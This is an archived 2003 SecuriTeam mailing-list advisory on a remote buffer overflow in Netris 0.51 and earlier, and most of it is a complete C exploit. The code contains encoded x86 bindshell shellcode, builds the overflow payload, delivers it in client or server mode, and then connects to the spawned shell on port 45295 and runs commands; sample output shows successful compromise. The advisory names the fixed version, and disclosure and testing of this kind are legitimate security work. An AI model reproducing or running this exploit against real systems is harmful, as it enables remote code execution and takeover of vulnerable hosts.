

[EXPL] Netris Remote Memory Corruption Exploit Code Released

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0042.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 08/14/03

To: list@securiteam.com

Date: 14 Aug 2003 13:53:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for MSIS

In this guide you will find out how to test, purchase, install and use a Thawte Digital Certificate on your MSIS web server. Throughout, best practices for set-up are highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates. Get your copy of this new guide now: <http://ad.doubleclick.net/clk;5903126;8265119;j>

Netris Remote Memory Corruption Exploit Code Released

SUMMARY

Netris is prone to a remotely exploitable memory corruption issue. An attacker may exploit this to execute arbitrary code with the privileges of the user invoking the vulnerable application. The following exploit can be used by attackers to test their system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* Netris version 0.51 and prior

Immune systems:

* Netris version 0.52

Exploit:

/*[netris[v0.5]: client/server remote buffer overflow exploit.]*

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

```
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* netris homepage/URL: *
* http://www.netris.org *
* ftp://ftp.netris.org (v0.52 fixes this bug) *
* *
* compile: *
* cc xnetris.c -o xnetris *
* *
* this exploits the netris buffer overflow found roughly a year *
* ago(http://www.securityfocus.com/bid/5680), and recently *
* brought up again, in client-side form. (same code) *
* *
* when the MyEventType() function is done, the contents of the *
* buffer can continue on past netBuf[64], into other data *
* segments. however, the segment right after *
* netBuf[64](netBufSize[4]) will be changed to 0x00000000, *
* after the overflow has taken place. so, instead of using 64 *
* byte shellcode, we will skip the first 68 bytes(filler). *
* this will look like so: *
* *
* memory: [netBuf(64)][netBufSize(4)]...[other data segments] *
* exploit: [68 filler bytes][nops][shellcode][return address] *
* *
* since the same inet code is used both for the server, and *
* the client; i made this exploit to do both, with no memory *
* changes. *
* *
* when this exploits successfully, netris will display "Network *
* negotiation failed", and idle until netris is closed(running *
* bindshell). (for both client, and server exploitation) *
* *
* examples(client/server): *
* # ./xnetris -b *
* [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* [*] awaiting connection from: *:9284. *
* [*] netris server connection established. *
* [*] netris server connection closed. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: 127.0.0.1:45295. *
* [*] successfully connected: 127.0.0.1:45295. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* # ./xnetris localhost *
* [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
```

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

```
* *
* [*] attempting to connect: localhost:9284. *
* [*] successfully connected: localhost:9284. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: localhost:45295. *
* [*] successfully connected: localhost:45295. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* (tested on redhat/7.1, and gentoo/r5; netris-0.5 source. *
* should work out of the box on linux/x86(+--2048 nop room). if *
* not, check the RETADDR define comment) *
*****/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size. */
#define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
#define DFLPORT 9284 /* default netris port. */
#define TIMEOUT 10 /* connection timeout. (generic as always) */
static char x86_exec[] = /* bindshell(45295)&, netric/S-poly. */

"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"

"\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"

"\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"

"\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"

"\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"

"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"

"\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"

"\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"

"\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"

"\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
```

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

```
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"

"\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
"\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";
char *getcode(void);
char *netris_bind(unsigned short);
unsigned short netris_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
    unsigned short isbind=0,nport=DFLPORT; /* default. */
    char *hostptr;
    printf("[*] netris[v0.5-]: client/server remote buffer overflow ex"
    "ploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
    if(argc<2){
        printf("[!] syntax: %s <host|-b> [port]\n",argv[0]);
        exit(1);
    }
    if(!strcmp(argv[1],"-b"))
        isbind=1;
    if(argc>2)
        nport=atoi(argv[2]);
    if(isbind)
        hostptr=netris_bind(nport);
    else
        netris_connect((hostptr=argv[1]),nport);
    sleep(1);
    getshell(hostptr,45295); /* defined in shellcode. */
    exit(0);
}
char *getcode(void){
    unsigned int i=0;
    char *buf;
    if(!(buf=(char *)malloc(BUFSIZE+1)))
        printe("getcode(): allocating memory failed.",1);
    /* fill the buffer with the return address. */
    for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=RETADDR;}
    /* netBuf[64] + 4 = netBufSize = 0x00000000. */
    memset(buf,0x78,68); /* netBuf+netBufSize filler. */
    memset(buf+68,0x90,4096); /* 4096 nops/guesses. */
    memcpy(buf+68+4096,x86_exec,strlen(x86_exec));
    return(buf);
}
char *netris_bind(unsigned short port){
    int ssock=0,sock=0,so=1;
    unsigned int salen=0;
    struct sockaddr_in ssa,sa;
    ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
```

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

```
#ifdef SO_REUSEPORT
    setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))== -1)
    printe("could not bind socket.",1);
listen(ssock,1);
bzero((char *)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] netris server connection established.\n");
write(sock,getcode(),BUFSIZE);
sleep(1);
close(sock);
printf("[*] netris server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
unsigned short netris_connect(char *hostname,
unsigned short port){
    int sock;
    struct hostent *t;
    struct sockaddr_in s;
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    s.sin_family=AF_INET;
    s.sin_port=htons(port);
    printf("[*] attempting to connect: %s:%d.\n",hostname,port);
    if((s.sin_addr.s_addr=inet_addr(hostname))){
        if(!(t=gethostbyname(hostname)))
            printe("couldn't resolve hostname.",1);
        memcpy((char *)&s.sin_addr,(char *)t->h_addr,
        sizeof(s.sin_addr));
    }
    signal(SIGALRM,sig_alarm);
    alarm(TIMEOUT);
    if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
        printe("netris connection failed.",1);
    alarm(0);
    printf("[*] successfully connected: %s:%d.\n",hostname,port);
    write(sock,getcode(),BUFSIZE);
    sleep(1);
    close(sock);
    return(0);
}
void getshell(char *hostname,unsigned short port){
    int sock,r;
    fd_set fds;
    char buf[4096+1];
```

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

```
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))===-1)
  printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
    printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
    sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)){
  printf("[!] connection failed: %s:%d.\n",hostname,port);
  return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
    printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
    if((r=read(0,buf,4096))<1)
      printe("getshell(): read() failed.",1);
    if(write(sock,buf,r)!=r)
      printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
    if((r=read(sock,buf,4096))<1)
      exit(0);
    write(1,buf,r);
  }
}
close(sock);
return;
}
void printe(char *err,short e){
  printf("[!] %s\n",err);
  if(e)
    exit(1);
  return;
}
```

Securiteam: [EXPL] Netris Remote Memory Corruption Exploit Code Released

ADDITIONAL INFORMATION

The information has been provided by <mailto:v9@fakehalo.deadpig.org>
vade79/v9.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.